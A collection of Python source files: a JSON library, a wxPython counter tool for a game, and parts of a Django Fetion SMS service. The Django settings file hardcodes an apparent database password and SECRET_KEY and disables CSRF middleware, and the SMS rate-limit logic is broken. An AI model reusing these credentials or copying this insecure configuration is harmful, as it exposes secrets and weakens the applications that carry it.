self.ctrl[v["str"]] = s
sizer.Add(s, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
| Python |
import string
import types
## json.py implements a JSON (http://json.org) reader and writer.
## Copyright (C) 2005 Patrick D. Logan
## Contact mailto:patrickdlogan@stardecisions.com
##
## This library is free software; you can redistribute it and/or
## modify it under the terms of the GNU Lesser General Public
## License as published by the Free Software Foundation; either
## version 2.1 of the License, or (at your option) any later version.
##
## This library is distributed in the hope that it will be useful,
## but WITHOUT ANY WARRANTY; without even the implied warranty of
## MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
## Lesser General Public License for more details.
##
## You should have received a copy of the GNU Lesser General Public
## License along with this library; if not, write to the Free Software
## Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
class _StringGenerator(object):
def __init__(self, string):
self.string = string
self.index = -1
def peek(self):
i = self.index + 1
if i < len(self.string):
return self.string[i]
else:
return None
def next(self):
self.index += 1
if self.index < len(self.string):
return self.string[self.index]
else:
raise StopIteration
def all(self):
return self.string
class WriteException(Exception):
pass
class ReadException(Exception):
pass
class JsonReader(object):
hex_digits = {'A': 10,'B': 11,'C': 12,'D': 13,'E': 14,'F':15}
escapes = {'t':'\t','n':'\n','f':'\f','r':'\r','b':'\b'}
def read(self, s):
self._generator = _StringGenerator(s)
result = self._read()
return result
def _read(self):
self._eatWhitespace()
peek = self._peek()
if peek is None:
raise ReadException, "Nothing to read: '%s'" % self._generator.all()
if peek == '{':
return self._readObject()
elif peek == '[':
return self._readArray()
elif peek == '"':
return self._readString()
elif peek == '-' or peek.isdigit():
return self._readNumber()
elif peek == 't':
return self._readTrue()
elif peek == 'f':
return self._readFalse()
elif peek == 'n':
return self._readNull()
elif peek == '/':
self._readComment()
return self._read()
else:
raise ReadException, "Input is not valid JSON: '%s'" % self._generator.all()
def _readTrue(self):
self._assertNext('t', "true")
self._assertNext('r', "true")
self._assertNext('u', "true")
self._assertNext('e', "true")
return True
def _readFalse(self):
self._assertNext('f', "false")
self._assertNext('a', "false")
self._assertNext('l', "false")
self._assertNext('s', "false")
self._assertNext('e', "false")
return False
def _readNull(self):
self._assertNext('n', "null")
self._assertNext('u', "null")
self._assertNext('l', "null")
self._assertNext('l', "null")
return None
def _assertNext(self, ch, target):
if self._next() != ch:
raise ReadException, "Trying to read %s: '%s'" % (target, self._generator.all())
def _readNumber(self):
isfloat = False
result = self._next()
peek = self._peek()
while peek is not None and (peek.isdigit() or peek == "."):
isfloat = isfloat or peek == "."
result = result + self._next()
peek = self._peek()
try:
if isfloat:
return float(result)
else:
return int(result)
except ValueError:
raise ReadException, "Not a valid JSON number: '%s'" % result
def _readString(self):
result = ""
assert self._next() == '"'
try:
while self._peek() != '"':
ch = self._next()
if ch == "\\":
ch = self._next()
if ch in 'brnft':
ch = self.escapes[ch]
elif ch == "u":
ch4096 = self._next()
ch256 = self._next()
ch16 = self._next()
ch1 = self._next()
n = 4096 * self._hexDigitToInt(ch4096)
n += 256 * self._hexDigitToInt(ch256)
n += 16 * self._hexDigitToInt(ch16)
n += self._hexDigitToInt(ch1)
ch = unichr(n)
elif ch not in '"/\\':
raise ReadException, "Not a valid escaped JSON character: '%s' in %s" % (ch, self._generator.all())
result = result + ch
except StopIteration:
raise ReadException, "Not a valid JSON string: '%s'" % self._generator.all()
assert self._next() == '"'
return result
def _hexDigitToInt(self, ch):
try:
result = self.hex_digits[ch.upper()]
except KeyError:
try:
result = int(ch)
except ValueError:
raise ReadException, "The character %s is not a hex digit." % ch
return result
def _readComment(self):
assert self._next() == "/"
second = self._next()
if second == "/":
self._readDoubleSolidusComment()
elif second == '*':
self._readCStyleComment()
else:
raise ReadException, "Not a valid JSON comment: %s" % self._generator.all()
def _readCStyleComment(self):
try:
done = False
while not done:
ch = self._next()
done = (ch == "*" and self._peek() == "/")
if not done and ch == "/" and self._peek() == "*":
raise ReadException, "Not a valid JSON comment: %s, '/*' cannot be embedded in the comment." % self._generator.all()
self._next()
except StopIteration:
raise ReadException, "Not a valid JSON comment: %s, expected */" % self._generator.all()
def _readDoubleSolidusComment(self):
try:
ch = self._next()
while ch != "\r" and ch != "\n":
ch = self._next()
except StopIteration:
pass
def _readArray(self):
result = []
assert self._next() == '['
done = self._peek() == ']'
while not done:
item = self._read()
result.append(item)
self._eatWhitespace()
done = self._peek() == ']'
if not done:
ch = self._next()
if ch != ",":
raise ReadException, "Not a valid JSON array: '%s' due to: '%s'" % (self._generator.all(), ch)
assert ']' == self._next()
return result
def _readObject(self):
result = {}
assert self._next() == '{'
done = self._peek() == '}'
while not done:
key = self._read()
if type(key) is not types.StringType:
raise ReadException, "Not a valid JSON object key (should be a string): %s" % key
self._eatWhitespace()
ch = self._next()
if ch != ":":
raise ReadException, "Not a valid JSON object: '%s' due to: '%s'" % (self._generator.all(), ch)
self._eatWhitespace()
val = self._read()
result[key] = val
self._eatWhitespace()
done = self._peek() == '}'
if not done:
ch = self._next()
if ch != ",":
raise ReadException, "Not a valid JSON array: '%s' due to: '%s'" % (self._generator.all(), ch)
assert self._next() == "}"
return result
def _eatWhitespace(self):
p = self._peek()
while p is not None and p in string.whitespace or p == '/':
if p == '/':
self._readComment()
else:
self._next()
p = self._peek()
def _peek(self):
return self._generator.peek()
def _next(self):
return self._generator.next()
class JsonWriter(object):
def _append(self, s):
self._results.append(s)
def write(self, obj, escaped_forward_slash=False):
self._escaped_forward_slash = escaped_forward_slash
self._results = []
self._write(obj)
return "".join(self._results)
def _write(self, obj):
ty = type(obj)
if ty is types.DictType:
n = len(obj)
self._append("{")
for k, v in obj.items():
self._write(k)
self._append(":")
self._write(v)
n = n - 1
if n > 0:
self._append(",")
self._append("}")
elif ty is types.ListType or ty is types.TupleType:
n = len(obj)
self._append("[")
for item in obj:
self._write(item)
n = n - 1
if n > 0:
self._append(",")
self._append("]")
elif ty is types.StringType or ty is types.UnicodeType:
self._append('"')
obj = obj.replace('\\', r'\\')
if self._escaped_forward_slash:
obj = obj.replace('/', r'\/')
obj = obj.replace('"', r'\"')
obj = obj.replace('\b', r'\b')
obj = obj.replace('\f', r'\f')
obj = obj.replace('\n', r'\n')
obj = obj.replace('\r', r'\r')
obj = obj.replace('\t', r'\t')
self._append(obj)
self._append('"')
elif ty is types.IntType or ty is types.LongType:
self._append(str(obj))
elif ty is types.FloatType:
self._append("%f" % obj)
elif obj is True:
self._append("true")
elif obj is False:
self._append("false")
elif obj is None:
self._append("null")
else:
raise WriteException, "Cannot write in JSON: %s" % repr(obj)
def write(obj, escaped_forward_slash=False):
return JsonWriter().write(obj, escaped_forward_slash)
def read(s):
return JsonReader().read(s)
| Python |
from distutils.core import setup
import py2exe
setup(windows=[
{'script':'bank.py', "icon_resources": [(1,"bank.ico")]}])
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
ボタン設置パッケージ
"""
import context
import wx
import util
import event
"""
ボタンビルダー
"""
class Builder:
"""
イニシャライズ
"""
def __init__(self):
self.button = []
self.count = event.Count()
"""
ボタン構築
"""
def build(self):
config = context.Config
panel = context.UI.buttons_panel
#ボタン構築
self.setButton("+")
self.setButton("-")
#サイザーにセット
sizer = wx.GridSizer(2, len(config["target"]), 0, 0)
for i,v in enumerate(self.button):
sizer.Add(v, 0, wx.ALIGN_CENTER_HORIZONTAL|wx.ALIGN_CENTER_VERTICAL)
panel.SetSizer(sizer)
self.count.initResult()
"""
ボタンセット
"""
def setButton(self, str):
config = context.Config
panel = context.UI.buttons_panel
for v in config["target"]:
b = wx.Button(panel, -1, util.encode(v["name"])+str)
#イベント
ev = event.Counter(self.count,str,v)
b.Bind(wx.EVT_BUTTON,ev.calc)
try:
b.SetMinSize((config["config"]["buttonWidth"], -1))
except Exception:
b.SetMinSize((100, -1))
self.button.append(b)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
イベント処理
"""
import context
import re
import codecs
import util
import win32clipboard
import win32con
import thread
import threading
import ctypes
import ctypes.wintypes
import time
user32 = ctypes.windll.user32
ASFW_ANY = -1
LSFW_LOCK = 1
LSFW_UNLOCK = 2
WS_EX_LAYERED = 0x80000
LWA_ALPHA = 2
"""
カウント
"""
class Count:
def __init__(self):
context.Count = self
self.counter = {}
self.target = context.UI
self.template = context.Config["template"]
self.resetCount()
def resetOne(self, value):
if(value["type"]=="int"):
self.counter[value["str"]] = 0
try:
context.UI.builder.ctrl[value["str"]].SetValue(0)
except Exception:
pass
else:
self.counter[value["str"]] = util.decode(u"×")
try:
context.UI.builder.ctrl[value["str"]].SetValue(False)
except Exception:
pass
def initResult(self):
result = self.template
for key, v in self.counter.iteritems():
p = re.compile(key)
result = p.sub(v.__str__(), result)
self.target.result_text.SetValue(util.encode(result))
self.target.copyText(self)
def resetCount(self):
for value in context.Config["target"]:
self.resetOne(value)
self.initResult()
"""
計算
"""
class Counter:
def __init__(self, count, str, value):
self.count = count
self.counter = count.counter
self.str = str
self.value = value
def calc(self, event):
if(self.str == "+"):
self.addPlusEvent(self.value)
else:
self.addMinusEvent(self.value)
def calcSpin(self, evt):
if(self.value["type"]=="int"):
self.counter[self.value["str"]] = evt.GetInt()
else:
if(evt.GetInt()==1):
self.counter[self.value["str"]] = util.decode(u"○")
else:
self.counter[self.value["str"]] = util.decode(u"×")
self.count.initResult()
def addPlusEvent(self, v):
try:
if(v["max"] == self.counter[v["str"]]):
return
except Exception:
pass
if(v["type"]=="bool"):
self.counter[v["str"]]=1
else:
self.counter[v["str"]]=self.counter[v["str"]]+1
try:
self.counter[v["sum"]]=self.counter[v["sum"]]+1
except Exception:
pass
self.count.initResult()
def addMinusEvent(self, v):
if(v["type"]=="bool"):
self.minus(v["str"])
self.count.initResult()
return
self.minus(v["str"])
try:
if(v["sum"] <= v["str"]):
self.minus(v["sum"])
except Exception:
pass
self.count.initResult()
def minus(self, key):
if(self.counter[key] > 0 ):
self.counter[key]=self.counter[key]-1
"""
結果テキストの編集
"""
class ResultText:
"""
クリップボードにセット
"""
def setClipBoard(self):
text = codecs.encode(context.UI.result_text.GetValue(), "sjis")
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(text)
win32clipboard.CloseClipboard()
print(text)
"""
ウィンドウ操作
"""
def windowInit():
win = WindowController()
while(True):
time.sleep(0.1)
try:
if(context.UI.isActive() != True):
continue
except Exception:
continue
(x, y) = context.UI.GetPosition()
(w, h) = context.UI.GetSize()
pt = ctypes.wintypes.POINT()
user32.GetCursorPos(ctypes.byref(pt))
if( pt.x >= x and pt.y >= y and pt.x <= x+w and pt.y <= y+h ):
win.setName(context.UI.GetTitle().__str__())
win.setActiveByName()
else:
win.setName("Fantasy Earth Zero")
win.setActiveByName()
class WindowController:
def __init__(self):
self.name = ""
"""
ウィンドウ名のセット
"""
def setName(self, name):
self.name = name
def setAlpha(self, alpha):
myHandle = user32.FindWindowA(None, self.name)
exStyle = user32.GetWindowLongA(myHandle, win32con.GWL_EXSTYLE)
user32.SetWindowLongA( myHandle, win32con.GWL_EXSTYLE, exStyle | WS_EX_LAYERED )
user32.SetLayeredWindowAttributes(myHandle, 0, (255*alpha)/100, LWA_ALPHA)
def setActiveByName(self):
myHandle = user32.FindWindowA(None, self.name)
self.setActive(myHandle)
def setActive(self, myHandle):
target_id = user32.GetWindowThreadProcessId(myHandle, None)
active_id = user32.GetWindowThreadProcessId(user32.GetForegroundWindow(), None)
user32.AttachThreadInput(target_id, active_id, True );
user32.SetForegroundWindow(myHandle)
user32.SetActiveWindow(myHandle)
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
コンテキスト
"""
"""
メインフレームオブジェクト
"""
UI = None
"""
設定
"""
Config = None
"""
カウントオブジェクト
"""
Count = None
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import wx
import context
import util
import bank
class Builder:
def __init__(self, conf):
self.conf = conf
self.list = wx.ListCtrl(self.conf.target_panel,-1, style = wx.LC_REPORT, size=(500, 200))
pass
def setData(self):
self.list.InsertColumn(0, u"名前")
self.list.InsertColumn(1, u"置換文字列")
self.list.InsertColumn(2, u"タイプ")
self.list.InsertColumn(3, u"最大数")
for i, v in enumerate(context.Config["target"]):
self.list.InsertStringItem(i, util.encode(v["name"]))
self.list.SetStringItem(i, 1, v["str"])
self.list.SetStringItem(i, 2, v["type"])
try:
self.list.SetStringItem(i, 3, v["max"].__str__())
except Exception:
pass
def build(self):
self.setData()
self.list.Bind(wx.EVT_LIST_ITEM_FOCUSED, self.test)
sizer = wx.BoxSizer(wx.VERTICAL)
sizer.Add(self.list)
self.conf.target_panel.SetSizer(sizer)
def clearAll(self):
self.list.ClearAll()
def test(self, evt):
print "test"
print self.list.GetFocusedItem()
print evt
item = evt.GetItem()
print item.GetText()
print item.GetId()
print self.list.GetItem(item.GetId(), 1).GetText()
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import wx
import context
import util
import bank
class Builder:
def __init__(self, conf):
self.conf = conf
self.list = wx.ListCtrl(self.conf.target_panel,-1, style = wx.LC_REPORT, size=(500, 200))
pass
def setData(self):
self.list.InsertColumn(0, u"名前")
self.list.InsertColumn(1, u"置換文字列")
self.list.InsertColumn(2, u"タイプ")
self.list.InsertColumn(3, u"最大数")
for i, v in enumerate(context.Config["target"]):
self.list.InsertStringItem(i, util.encode(v["name"]))
self.list.SetStringItem(i, 1, v["str"])
self.list.SetStringItem(i, 2, v["type"])
try:
self.list.SetStringItem(i, 3, v["max"].__str__())
except Exception:
pass
def build(self):
self.setData()
self.list.Bind(wx.EVT_LIST_ITEM_FOCUSED, self.test)
sizer = wx.BoxSizer(wx.VERTICAL)
sizer.Add(self.list)
self.conf.target_panel.SetSizer(sizer)
def clearAll(self):
self.list.ClearAll()
def test(self, evt):
print "test"
print self.list.GetSelectedItemCount()
print evt
item = evt.GetItem()
print item.GetText()
print item.GetId()
print self.list.GetItem(item.GetId(), 1).GetText()
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import util
import json
import sys
import context
try:
fp = open("config.json","r")
file = fp.read()
j = json.read(file)
context.Config = j
except Exception:
print(u"設定ファイル形式が不正です。JSONフォーマットで記述してください。")
"""
ctl = util.CountTool()
ctl.config = j["config"]
for v in j["target"]:
ctl.setInt(v)
ctl.setTemplate(util.encode(j["template"]))
"""
| Python |
#!/usr/bin/env python
# -*- coding: utf-8 -*-
"""
イベント処理
"""
import context
import re
import codecs
import util
import win32clipboard
import win32con
import thread
import threading
import ctypes
import ctypes.wintypes
import time
user32 = ctypes.windll.user32
ASFW_ANY = -1
LSFW_LOCK = 1
LSFW_UNLOCK = 2
WS_EX_LAYERED = 0x80000
LWA_ALPHA = 2
"""
カウント
"""
class Count:
def __init__(self):
context.Count = self
self.counter = {}
self.target = context.UI
self.template = context.Config["template"]
self.resetCount()
def resetOne(self, value):
if(value["type"]=="int"):
self.counter[value["str"]] = 0
try:
context.UI.builder.ctrl[value["str"]].SetValue(0)
except Exception:
pass
else:
self.counter[value["str"]] = util.decode(u"×")
try:
context.UI.builder.ctrl[value["str"]].SetValue(False)
except Exception:
pass
def initResult(self):
result = self.template
for key, v in self.counter.iteritems():
p = re.compile(key)
result = p.sub(v.__str__(), result)
self.target.result_text.SetValue(util.encode(result))
self.target.copyText(self)
def resetCount(self):
for value in context.Config["target"]:
self.resetOne(value)
self.initResult()
"""
計算
"""
class Counter:
def __init__(self, count, str, value):
self.count = count
self.counter = count.counter
self.str = str
self.value = value
def calc(self, event):
if(self.str == "+"):
self.addPlusEvent(self.value)
else:
self.addMinusEvent(self.value)
def calcSpin(self, evt):
if(self.value["type"]=="int"):
self.counter[self.value["str"]] = evt.GetInt()
else:
if(evt.GetInt()==1):
self.counter[self.value["str"]] = util.decode(u"○")
else:
self.counter[self.value["str"]] = util.decode(u"×")
self.count.initResult()
def addPlusEvent(self, v):
try:
if(v["max"] == self.counter[v["str"]]):
return
except Exception:
pass
if(v["type"]=="bool"):
self.counter[v["str"]]=1
else:
self.counter[v["str"]]=self.counter[v["str"]]+1
try:
self.counter[v["sum"]]=self.counter[v["sum"]]+1
except Exception:
pass
self.count.initResult()
def addMinusEvent(self, v):
if(v["type"]=="bool"):
self.minus(v["str"])
self.count.initResult()
return
self.minus(v["str"])
try:
if(v["sum"] <= v["str"]):
self.minus(v["sum"])
except Exception:
pass
self.count.initResult()
def minus(self, key):
if(self.counter[key] > 0 ):
self.counter[key]=self.counter[key]-1
"""
結果テキストの編集
"""
class ResultText:
"""
クリップボードにセット
"""
def setClipBoard(self):
text = codecs.encode(context.UI.result_text.GetValue(), "sjis")
win32clipboard.OpenClipboard()
win32clipboard.EmptyClipboard()
win32clipboard.SetClipboardText(text)
win32clipboard.CloseClipboard()
print(text)
"""
ウィンドウ操作
"""
def windowInit():
win = WindowController()
while(True):
time.sleep(0.1)
try:
if(context.UI.isActive() != True):
continue
except Exception:
continue
(x, y) = context.UI.GetPosition()
(w, h) = context.UI.GetSize()
pt = ctypes.wintypes.POINT()
user32.GetCursorPos(ctypes.byref(pt))
if( pt.x >= x and pt.y >= y and pt.x <= x+w and pt.y <= y+h ):
win.setName(context.UI.GetTitle().__str__())
win.setActiveByName()
else:
win.setName("Fantasy Earth Zero")
win.setActiveByName()
class WindowController:
def __init__(self):
self.name = ""
"""
ウィンドウ名のセット
"""
def setName(self, name):
self.name = name
def setAlpha(self, alpha):
myHandle = user32.FindWindowA(None, self.name)
exStyle = user32.GetWindowLongA(myHandle, win32con.GWL_EXSTYLE)
user32.SetWindowLongA( myHandle, win32con.GWL_EXSTYLE, exStyle | WS_EX_LAYERED )
user32.SetLayeredWindowAttributes(myHandle, 0, (255*alpha)/100, LWA_ALPHA)
def setActiveByName(self):
myHandle = user32.FindWindowA(None, self.name)
self.setActive(myHandle)
def setActive(self, myHandle):
target_id = user32.GetWindowThreadProcessId(myHandle, None)
active_id = user32.GetWindowThreadProcessId(user32.GetForegroundWindow(), None)
user32.AttachThreadInput(target_id, active_id, True );
user32.SetForegroundWindow(myHandle)
user32.SetActiveWindow(myHandle)
| Python |
#!/usr/bin/env python
import time
t = time.time()
u = time.gmtime(t)
s = time.strftime('%a, %e %b %Y %T GMT', u)
print 'Content-Type: text/javascript'
print 'Cache-Control: no-cache'
print 'Date: ' + s
print 'Expires: ' + s
print ''
print 'var timeskew = new Date().getTime() - ' + str(t*1000) + ';'
| Python |
#!/usr/bin/env python
# -*- coding: UTF-8 -*-
import os
PRJ_PATH=os.path.realpath(os.path.dirname(__file__))
DEBUG = True
TEMPLATE_DEBUG = DEBUG
ADMINS = (
# ('Your Name', 'your_email@example.com'),
)
MANAGERS = ADMINS
if DEBUG:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.sqlite3', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.
'NAME': os.path.join(PRJ_PATH,'data/im.db'), # Or path to database file if using sqlite3.
'USER': '', # Not used with sqlite3.
'PASSWORD': '', # Not used with sqlite3.
'HOST': '', # Set to empty string for localhost. Not used with sqlite3.
'PORT': '', # Set to empty string for default. Not used with sqlite3.
}
}
else:
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.mysql', # Add 'postgresql_psycopg2', 'postgresql', 'mysql', 'sqlite3' or 'oracle'.
'NAME': 'fetionim', # Or path to database file if using sqlite3.
'USER': 'fetionim', # Not used with sqlite3.
'PASSWORD': 'zm34mykymh4uu3w', # Not used with sqlite3.
'HOST': '', # Set to empty string for localhost. Not used with sqlite3.
'PORT': '', # Set to empty string for default. Not used with sqlite3.
}
}
# Local time zone for this installation. Choices can be found here:
# http://en.wikipedia.org/wiki/List_of_tz_zones_by_name
# although not all choices may be available on all operating systems.
# On Unix systems, a value of None will cause Django to use the same
# timezone as the operating system.
# If running in a Windows environment this must be set to the same as your
# system time zone.
TIME_ZONE = 'Asia/Shanghai'
# Language code for this installation. All choices can be found here:
# http://www.i18nguy.com/unicode/language-identifiers.html
LANGUAGE_CODE = 'zh-CN'
SITE_ID = 1
# If you set this to False, Django will make some optimizations so as not
# to load the internationalization machinery.
USE_I18N = True
# If you set this to False, Django will not format dates, numbers and
# calendars according to the current locale
USE_L10N = True
# Absolute filesystem path to the directory that will hold user-uploaded files.
# Example: "/home/media/media.lawrence.com/media/"
MEDIA_ROOT = os.path.join(PRJ_PATH,'medias')
# URL that handles the media served from MEDIA_ROOT. Make sure to use a
# trailing slash.
# Examples: "http://media.lawrence.com/media/", "http://example.com/media/"
MEDIA_URL = '/medias/'
# Absolute path to the directory static files should be collected to.
# Don't put anything in this directory yourself; store your static files
# in apps' "static/" subdirectories and in STATICFILES_DIRS.
# Example: "/home/media/media.lawrence.com/static/"
STATIC_ROOT = ''
# URL prefix for static files.
# Example: "http://media.lawrence.com/static/"
STATIC_URL = '/static/'
# URL prefix for admin static files -- CSS, JavaScript and images.
# Make sure to use a trailing slash.
# Examples: "http://foo.com/static/admin/", "/static/admin/".
ADMIN_MEDIA_PREFIX = '/static/admin/'
# Additional locations of static files
STATICFILES_DIRS = (
# Put strings here, like "/home/html/static" or "C:/www/django/static".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
os.path.join(PRJ_PATH,'static'),
)
# List of finder classes that know how to find static files in
# various locations.
STATICFILES_FINDERS = (
'django.contrib.staticfiles.finders.FileSystemFinder',
'django.contrib.staticfiles.finders.AppDirectoriesFinder',
# 'django.contrib.staticfiles.finders.DefaultStorageFinder',
)
# Make this unique, and don't share it with anybody.
SECRET_KEY = '^5y1l3ty@qc4@*tvt3$#5w2icb9!v+kxu_6l=k)eyy@3hd_3%+'
# List of callables that know how to import templates from various sources.
TEMPLATE_LOADERS = (
'django.template.loaders.filesystem.Loader',
'django.template.loaders.app_directories.Loader',
# 'django.template.loaders.eggs.Loader',
)
MIDDLEWARE_CLASSES = (
# 'django.middleware.csrf.CsrfViewMiddleware',
'django.middleware.common.CommonMiddleware',
'django.contrib.sessions.middleware.SessionMiddleware',
'django.contrib.auth.middleware.AuthenticationMiddleware',
'django.contrib.messages.middleware.MessageMiddleware',
)
ROOT_URLCONF = 'fetionim.urls'
TEMPLATE_DIRS = (
# Put strings here, like "/home/html/django_templates" or "C:/www/django/templates".
# Always use forward slashes, even on Windows.
# Don't forget to use absolute paths, not relative paths.
os.path.join(PRJ_PATH,'template'),
)
INSTALLED_APPS = (
'django.contrib.auth',
'django.contrib.contenttypes',
'django.contrib.sessions',
'django.contrib.sites',
'django.contrib.messages',
'django.contrib.staticfiles',
#customer app
'fetion',
)
# A sample logging configuration. The only tangible logging
# performed by this configuration is to send an email to
# the site admins on every HTTP 500 error.
# See http://docs.djangoproject.com/en/dev/topics/logging for
# more details on how to customize your logging configuration.
LOGGING = {
'version': 1,
'disable_existing_loggers': False,
'formatters': {
'verbose': {
'format': '%(levelname)s %(name)s %(asctime)s %(message)s'
},
},
'handlers': {
'mail_admins': {
'level': 'ERROR',
'class': 'django.utils.log.AdminEmailHandler'
},
'console':{
'level':'DEBUG',
'class':'logging.StreamHandler',
'formatter': 'verbose'
},
},
'loggers': {
'django.request': {
'handlers': ['mail_admins'],
'level': 'ERROR',
'propagate': True,
},
'fetion': {
'handlers': ['console', ],
'level':'DEBUG',
},
}
}
#是否保存飞信密码
SAVE_PASSWORD = True
RPC_PORT = 3333
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.db import models
class SMSLog(models.Model):
u'''
短信发送日志
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=50)
receiver = models.CharField(u'接受手机ID',max_length=1024,blank=True, null=True)
ip = models.CharField(u'登录IP',max_length=20,blank=True, null=True)
time = models.DateTimeField(u'登录时间',blank=True, null=True,auto_now_add=True)
class Meta:
ordering = ['-time'] | Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.http import HttpResponse,HttpResponseRedirect
from fetion.models import FetionStatus,SMSQueue
from fetion.models import FETION_STATUS_ENUM
from api.models import SMSLog
from django.utils import simplejson as json
import datetime
def query_img(request,phone,security):
u'''查询飞信是否在线
'''
color = "hong"
status = __get_fetion_status(phone,security)
if status:
if status.status == FETION_STATUS_ENUM[0][0]:
color = "lv"
return HttpResponseRedirect("http://%s/static/api/imgs/deng-%s.png"%(request.META['HTTP_HOST'],color))
def query_info(request,phone,security):
status = __get_fetion_status(phone,security)
if status:
return HttpResponse(json.dumps({"status":status.status}))
return HttpResponse(status=400)
SMS_TIME_LIMIT = 10 #默认60*5秒
def post_sms(request,phone,security):
u'''发送短信API.给自己发
'''
status = __get_fetion_status(phone,security)
if status and status.receiver:
#时间检测,限制{SMS_TIME_LIMIT}分钟一条
now = datetime.datetime.now()
ip = request.META['REMOTE_ADDR']
flg = False
logs = SMSLog.objects.filter(phone=phone,ip=ip)
if logs and len(logs)>0:
log = logs[0]
last_time = log.time
#比较当前时间
msg = request.POST.get('msg',None)
if msg and flg:
#加入队列
sms_queue = SMSQueue()
sms_queue.phone = phone
sms_queue.receiver = status.receiver
sms_queue.msg = msg
sms_queue.save()
#保存日志
sms_log = SMSLog()
sms_log.phone = phone
sms_log.ip = ip
sms_log.receiver = status.receiver
sms_log.save()
#
return HttpResponse(json.dumps({"success":True}))
return HttpResponse(json.dumps({"success":False}))
#--------------内部方法---------------------
def __get_fetion_status(phone,security):
status = FetionStatus.objects.filter(phone=phone,security=security)
if status and len(status)>0:
return status[0]
return None
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.db import models
class SMSLog(models.Model):
u'''
短信发送日志
'''
phone = models.CharField(u'手机号码(飞信登录账户)',max_length=50)
receiver = models.CharField(u'接受手机ID',max_length=1024,blank=True, null=True)
ip = models.CharField(u'登录IP',max_length=20,blank=True, null=True)
time = models.DateTimeField(u'登录时间',blank=True, null=True,auto_now_add=True)
class Meta:
ordering = ['-time'] | Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.conf.urls.defaults import patterns, url
urlpatterns = patterns('api.views',
url(r'^q_img/(\d+)/([^/]+)$', 'query_img'),
url(r'^q_info/(\d+)/([^/]+)$', 'query_info'),
url(r'^post_sms/(\d+)/([^/]+)$', 'post_sms'),
)
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.conf.urls.defaults import patterns, url
urlpatterns = patterns('api.views',
url(r'^q_img/(\d+)/([^/]+)$', 'query_img'),
url(r'^q_info/(\d+)/([^/]+)$', 'query_info'),
url(r'^post_sms/(\d+)/([^/]+)$', 'post_sms'),
)
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
from django.http import HttpResponse,HttpResponseRedirect
from fetion.models import FetionStatus,SMSQueue
from fetion.models import FETION_STATUS_ENUM
from api.models import SMSLog
from django.utils import simplejson as json
import datetime
def query_img(request,phone,security):
u'''查询飞信是否在线
'''
color = "hong"
status = __get_fetion_status(phone,security)
if status:
if status.status == FETION_STATUS_ENUM[0][0]:
color = "lv"
return HttpResponseRedirect("http://%s/static/api/imgs/deng-%s.png"%(request.META['HTTP_HOST'],color))
def query_info(request,phone,security):
status = __get_fetion_status(phone,security)
if status:
return HttpResponse(json.dumps({"status":status.status}))
return HttpResponse(status=400)
SMS_TIME_LIMIT = 10 #默认60*5秒
def post_sms(request,phone,security):
u'''发送短信API.给自己发
'''
status = __get_fetion_status(phone,security)
if status and status.receiver:
#时间检测,限制{SMS_TIME_LIMIT}分钟一条
now = datetime.datetime.now()
ip = request.META['REMOTE_ADDR']
flg = False
logs = SMSLog.objects.filter(phone=phone,ip=ip)
if logs and len(logs)>0:
log = logs[0]
last_time = log.time
#比较当前时间
msg = request.POST.get('msg',None)
if msg and flg:
#加入队列
sms_queue = SMSQueue()
sms_queue.phone = phone
sms_queue.receiver = status.receiver
sms_queue.msg = msg
sms_queue.save()
#保存日志
sms_log = SMSLog()
sms_log.phone = phone
sms_log.ip = ip
sms_log.receiver = status.receiver
sms_log.save()
#
return HttpResponse(json.dumps({"success":True}))
return HttpResponse(json.dumps({"success":False}))
#--------------内部方法---------------------
def __get_fetion_status(phone,security):
status = FetionStatus.objects.filter(phone=phone,security=security)
if status and len(status)>0:
return status[0]
return None
| Python |
#!/usr/bin/env python
# --*-- encoding:utf-8 --*--
'''
Created on 2011-12-31
@author: fredzhu.com
'''
import threading,urllib,urllib2,time,datetime
import os,random,sys
from django.conf import settings
reload(sys)
if not settings.DEBUG:
sys.setdefaultencoding('utf8')
try:
import json
except:
import simplejson as json
from fetion.cron import cron_check
from fetion.models import FetionStatus,FETION_STATUS_ENUM,SMSQueue,TaskCron
PRJ_PATH = os.path.abspath('.')
DOWNLOAD_ABST_DIR = u'static/code_imgs/%s'%(time.strftime('%Y/%m', time.localtime(time.time())))
class FetionWebIM():
u'''飞信IM协议
'''
def __init__(self,logger,data={}):
self.logger = logger
self.data = data
def login(self,phone,password,vcode):
u'''登陆飞信
'''
POST = {
"UserName":phone,
"Pwd":password,
"OnlineStatus":0,
"Ccp":vcode
}
HEAD = {
'Host':'webim.feixin.10086.cn',
'Cookie':self.data['ccpsession'],
'Referer':'https://webim.feixin.10086.cn/login.aspx',
'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8'
}
req = urllib2.Request(u"https://webim.feixin.10086.cn/WebIM/Login.aspx", urllib.urlencode(POST), HEAD)
resp = urllib2.urlopen(req)
if resp.getcode()!=200:
return
rc = json.loads(resp.read())
if rc['rc'] == 200:
self.logger.info(u"%s 登录成功!"%phone)
#登录成功,读取cookie信息
info = resp.info()
webim_sessionid = info['set-cookie'].split('webim_sessionid=')[1].split(';')[0]
self.data['webim_sessionid'] = webim_sessionid
self.data['phone'] = phone
